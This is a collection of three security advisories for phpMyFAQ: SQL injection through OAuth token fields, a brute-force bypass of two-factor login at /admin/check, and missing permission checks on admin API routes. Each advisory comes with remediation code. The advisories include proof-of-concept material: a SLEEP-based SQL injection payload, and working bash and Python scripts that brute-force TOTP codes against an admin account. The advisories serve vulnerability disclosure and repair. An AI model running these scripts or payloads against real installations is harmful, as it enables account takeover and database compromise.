## Summary `CurrentUser::setTokenData()` in `phpmyfaq/src/phpMyFAQ/User/CurrentUser.php` at lines 515-534 builds a SQL UPDATE statement with `sprintf` and interpolates OAuth token fields (`refresh_token`, `access_token`, `code_verifier`, and `json_encode($token['jwt'])`) without calling `$db->escape()`. Sibling methods `setAuthSource()` and `setRememberMe()` in the same file do call `$db->escape()` on user-controlled values, so the omission is local to this method. An attacker (Bob) whose Azure AD display name contains a single quote (for example `O'Brien`, or a deliberate SQL payload) breaks out of the string literal and injects arbitrary SQL against the phpMyFAQ database. ## Details **Vulnerable code** (`phpmyfaq/src/phpMyFAQ/User/CurrentUser.php`, lines 513-534): ```php public function setTokenData(#[\SensitiveParameter] array $token): bool { $update = sprintf( " UPDATE %sfaquser SET refresh_token = '%s', access_token = '%s', code_verifier = '%s', jwt = '%s' WHERE user_id = %d", Database::getTablePrefix(), $token['refresh_token'], $token['access_token'], $token['code_verifier'], json_encode($token['jwt'], JSON_THROW_ON_ERROR), $this->getUserId(), ); return (bool) $this->configuration->getDb()->query($update); } ``` `json_encode()` does NOT escape single quotes. A JWT claim such as `{"preferred_username": "O'Malley"}` produces `{"preferred_username":"O'Malley"}` after `json_encode`, which terminates the SQL string literal at the apostrophe. **Correct pattern in the same file** (`setAuthSource`, line 458-461): ```php $update = sprintf( "UPDATE %sfaquser SET auth_source = '%s' WHERE user_id = %d", Database::getTablePrefix(), $this->configuration->getDb()->escape($authSource), $this->getUserId(), ); ``` `setRememberMe()` (line 471-478) follows the same safe pattern with `$db->escape()`. **Reachability**: The phpMyFAQ Azure AD (Entra ID) OAuth flow calls `setTokenData()` after token exchange. The token response includes an `id_token` whose payload originates from the identity provider. An attacker registers a Microsoft account with a display name or custom claim containing SQL metacharacters. When that user logs into a phpMyFAQ instance with Azure AD auth enabled, the malicious claim flows into the UPDATE without sanitization. ## Proof of Concept Prerequisites: phpMyFAQ instance with Azure AD / Entra ID authentication enabled. 1. Bob registers an Azure AD account with display name `x]","email":"x',(SELECT SLEEP(5)))-- -`. 2. Bob initiates the OAuth login flow on the target phpMyFAQ. 3. After authorization, the token endpoint returns a JWT with the crafted claim. 4. phpMyFAQ calls `setTokenData()` with the unsanitized token array. The resulting SQL becomes: ```sql UPDATE faquser SET refresh_token = '<valid>', access_token = '<valid>', code_verifier = '<valid>', jwt = '{"preferred_username":"x',(SELECT SLEEP(5)))-- -"}' WHERE user_id = 42 ``` The single quote after `x` closes the `jwt` string literal. Everything after it executes as attacker-controlled SQL. 5. To confirm time-based blind injection locally (requires modifying the OAuth token response in a proxy): ```python import requests # Simulates what happens when the crafted JWT claim reaches the DB # In production, this happens automatically through the OAuth flow payload = "x'||(SELECT SLEEP(5))||'" # The interpolated query will pause for 5 seconds, confirming injection print(f"Injected jwt value: {payload}") print("If the login takes 5+ seconds longer than normal, injection succeeded.") ``` ## Impact An attacker who can authenticate via Azure AD with a crafted claim achieves arbitrary SQL execution on the phpMyFAQ database. This permits reading all FAQ data (including restricted entries), modifying or deleting content, and extracting password hashes and session tokens of all users including administrators. **CWE**: CWE-89 (SQL Injection) ## Recommended Fix Escape all interpolated values using `$this->configuration->getDb()->escape()`, matching the pattern used by `setAuthSource()` and `setRememberMe()` in the same file: ```php public function setTokenData(#[\SensitiveParameter] array $token): bool { $db = $this->configuration->getDb(); $update = sprintf( " UPDATE %sfaquser SET refresh_token = '%s', access_token = '%s', code_verifier = '%s', jwt = '%s' WHERE user_id = %d", Database::getTablePrefix(), $db->escape($token['refresh_token']), $db->escape($token['access_token']), $db->escape($token['code_verifier']), $db->escape(json_encode($token['jwt'], JSON_THROW_ON_ERROR)), $this->getUserId(), ); return (bool) $db->query($update); } ``` --- *Found by [aisafe.io](https://aisafe.io)*
الإصدارات المتأثرة
2.10.0-alpha, 2.8.0, 2.8.0-RC, 2.8.0-RC2, 2.8.0-RC3
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
الوصف الكامل
## Summary The `/admin/check` endpoint in `AuthenticationController` implements `SkipsAuthenticationCheck`, making it reachable without any prior authentication. An anonymous attacker (Bob) can POST arbitrary `user-id` and `token` values to brute-force any user's 6-digit TOTP code. No rate limiting exists. The 10^6 keyspace is exhaustible in minutes. Reachability confirmed against a default install: unauthenticated `POST /admin/check` with a `user-id` body field returns HTTP 302 to `/admin/token?user-id=<value>`, echoing the attacker-supplied user id without any binding to a prior password-phase authentication. ## Details **File**: `phpmyfaq/src/phpMyFAQ/Controller/Administration/AuthenticationController.php`, lines 35-36 and 201-228. The controller class declaration: ```php final class AuthenticationController extends AbstractAdministrationController implements SkipsAuthenticationCheck ``` The `SkipsAuthenticationCheck` interface (`phpmyfaq/src/phpMyFAQ/Controller/Administration/SkipsAuthenticationCheck.php`) is a marker interface that tells the `ControllerContainerListener` to skip authentication enforcement. Every route in this controller is reachable without a session. The `check` action (line 201-228): ```php #[Route(path: '/check', name: 'admin.auth.check', methods: ['POST'])] public function check(Request $request): RedirectResponse { if ($this->currentUser->isLoggedIn()) { return new RedirectResponse(url: './'); } $token = Filter::filterVar($request->request->get(key: 'token'), FILTER_SANITIZE_SPECIAL_CHARS); $userId = (int) Filter::filterVar($request->request->get(key: 'user-id'), FILTER_VALIDATE_INT); $user = $this->currentUserService; $user->getUserById($userId); if (strlen((string) $token) === 6) { $tfa = $this->twoFactor; $result = $tfa->validateToken($token, $userId); if ($result) { $user->twoFactorSuccess(); $this->adminLog->log($user, AdminLogType::AUTH_2FA_SUCCESS->value . ':' . $user->getLogin()); return new RedirectResponse(url: './'); } $this->adminLog->log($user, AdminLogType::AUTH_2FA_FAILED->value . ':' . $user->getLogin()); } return new RedirectResponse('./token?user-id=' . $userId); } ``` Problems: 1. **No session binding**: The endpoint accepts `user-id` from the POST body. It does not verify that the caller previously authenticated with a password for that user. 2. **No rate limit or lockout**: Failed attempts redirect back to the token form with no counter, delay, or account lock. 3. **Unauthenticated access**: The `SkipsAuthenticationCheck` marker exempts the entire controller from auth enforcement. The normal login flow (`/admin/authenticate`) redirects to `/admin/token?user-id=X` after a valid password. But nothing prevents Bob from skipping the password step and hitting `/admin/check` directly. ## Proof of Concept ```bash # Step 1: Identify target user ID (admin is typically user_id=1) TARGET_HOST="http://target.example" USER_ID=1 # Step 2: Brute-force the 6-digit TOTP code # TOTP codes rotate every 30 seconds, giving a window of ~1M attempts per window. # At 200 req/s this takes under 2 hours worst case; with 2 valid windows it halves. for code in $(seq -w 000000 999999); do RESPONSE=$(curl -s -o /dev/null -w "%{http_code}:%{redirect_url}" \ -X POST "${TARGET_HOST}/admin/check" \ -d "token=${code}&user-id=${USER_ID}") # A successful 2FA grants a session and redirects to ./ # A failure redirects to ./token?user-id=1 if echo "$RESPONSE" | grep -qv "token?user-id="; then echo "[+] Valid TOTP: ${code}" break fi done ``` ```python # Faster parallel version import requests from concurrent.futures import ThreadPoolExecutor TARGET = "http://target.example/admin/check" USER_ID = 1 def try_code(code): r = requests.post(TARGET, data={"token": f"{code:06d}", "user-id": USER_ID}, allow_redirects=False) location = r.headers.get("Location", "") if "token?user-id=" not in location: return code return None with ThreadPoolExecutor(max_workers=50) as pool: for result in pool.map(try_code, range(1000000)): if result is not None: print(f"[+] Valid TOTP: {result:06d}") break ``` ## Impact Bob bypasses two-factor authentication for any user account (including administrators) without knowing the user's password. After a successful brute-force, `twoFactorSuccess()` grants a fully authenticated admin session. Bob gains full administrative control: user management, FAQ content modification, configuration changes, and access to backup/export functions containing all data. **CVSS 3.1**: `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N` (High, 9.1) **CWE**: CWE-307 (Improper Restriction of Excessive Authentication Attempts) ## Recommended Fix 1. **Bind the 2FA step to a password-verified session**: Store a flag in the server-side session during `authenticate()` indicating the user passed password auth. The `check` action must verify this flag before accepting TOTP attempts. 2. **Add rate limiting / lockout**: After 5 failed TOTP attempts, lock the account or enforce an exponential backoff. 3. **Narrow the SkipsAuthenticationCheck scope**: Move the `/check` and `/token` routes into a separate controller that requires the password-verified session flag rather than blanket-skipping auth. Example session-binding fix in `check()`: ```php #[Route(path: '/check', name: 'admin.auth.check', methods: ['POST'])] public function check(Request $request): RedirectResponse { $userId = (int) Filter::filterVar($request->request->get(key: 'user-id'), FILTER_VALIDATE_INT); // Require that the session proves password auth for this specific user if ($this->session->get('2fa_pending_user_id') !== $userId) { return new RedirectResponse(url: './login'); } // ... existing TOTP validation ... } ``` And in `authenticate()`, after successful password check: ```php $this->session->set('2fa_pending_user_id', $this->currentUser->getUserId()); ``` --- *Found by [aisafe.io](https://aisafe.io)*
الإصدارات المتأثرة
2.10.0-alpha, 2.8.0, 2.8.0-RC, 2.8.0-RC2, 2.8.0-RC3
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
الوصف الكامل
### Summary A review of `phpMyFAQ-main` uncovered an authorization issue in the `admin-api` routes. Several backend endpoints only check whether the caller is logged in. They do not verify that the caller actually has backend or administrative privileges. As a result, a normal frontend user can access API endpoints that are clearly intended for administrative use. During local reproduction, a regular user account was able to request `/admin/api/index.php/dashboard/versions` and receive a successful response from the backend management API. This issue does not appear to give direct write access in the affected paths that were confirmed, so it should be treated as a backend information disclosure and privilege boundary failure rather than full admin compromise. ### Details The access control split is visible in the controller base class: ```php public function userIsAuthenticated(): void { if (!$this->currentUser->isLoggedIn()) { throw new UnauthorizedHttpException('Unauthorized access.'); } } protected function userHasPermission(PermissionType $permissionType): void { // permission-based check } ``` The problem is that several `Administration\Api` controllers use the weaker check even though the routes sit under the backend API namespace. For example, `phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/DashboardController.php` exposes: ```php #[Route(path: 'dashboard/versions', name: 'admin.api.dashboard.versions', methods: ['GET'])] public function versions(): JsonResponse { $this->userIsAuthenticated(); ... } ``` The same pattern appears in other backend-facing controllers, including: - `LdapController` - `ElasticsearchController` - `OpenSearchController` - `UpdateController` That matters because these endpoints are not part of the normal frontend feature set. They expose backend operational data such as version checks, upgrade state, LDAP configuration, health checks, and search backend status. Three examples that stand out from an impact perspective are: 1. `GET /admin/api/index.php/ldap/configuration` This can expose LDAP server configuration, mapping settings, group settings, and general authentication-related options. Even with secrets masked, this is still useful internal infrastructure information. 2. `GET /admin/api/index.php/elasticsearch/statistics` If Elasticsearch is enabled, this can expose index names and search backend statistics that should normally stay in the admin area. 3. `GET /admin/api/index.php/health-check` This is part of the update and maintenance workflow and can reveal operational state that ordinary users should not be able to inspect. In other words, the issue is not that guests can reach the backend. The issue is that any ordinary authenticated user can cross the frontend/backend privilege boundary. ### PoC I reproduced this against a local Docker deployment of the project. First, an unauthenticated request to the backend API is rejected: ```http GET /admin/api/index.php/dashboard/versions HTTP/1.1 Host: 127.0.0.1 Accept: application/json ``` Response: ```http HTTP/1.0 401 Unauthorized Content-Type: application/problem+json { "type": "http://127.0.0.1/problems/unauthorized", "title": "Unauthorized", "status": 401, "detail": "Unauthorized access.", "instance": "/dashboard/versions" } ``` Logged in with a normal frontend account: - username: `user1` - password: `User12345!` After login, the same request was sent with the user session cookie: ```http GET /admin/api/index.php/dashboard/versions HTTP/1.1 Host: 127.0.0.1 Cookie: PHPSESSID=<regular-user-session> Accept: application/json ``` Response: ```http HTTP/1.0 200 OK Content-Type: application/json {"success":"Latest version available: phpMyFAQ 4.1.1"} ``` That is enough to show that a non-admin account can call at least one backend management endpoint successfully. ### Impact The main impact is unauthorized access to backend-only operational information. Depending on which optional features are enabled in a real deployment, this may let a normal user learn: - upgrade and version status - maintenance or health-check information - LDAP environment details - Elasticsearch or OpenSearch backend status and statistics - internal administrative diagnostics This was rated as **Medium** severity. It was not categorized as **High** severity because the testing done did not confirm a direct administrative state change through the affected read-oriented endpoints. Still, this is a real privilege separation failure. A frontend account should not be able to query backend admin APIs simply because it has a valid session. ### Remediation The suggested approach should fix this in two layers. 1. Replace `userIsAuthenticated()` with explicit permission checks on backend endpoints that are intended for administrators only. 2. Review all `Administration\Api` controllers for similar cases and make the access model consistent. 3. Keep backend operational endpoints separated from ordinary user sessions unless there is a strong business reason to expose them. 4. Add regression tests that log in as a low-privileged user and verify that backend routes return `403` or `401` where appropriate.
الإصدارات المتأثرة
4.1.1
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N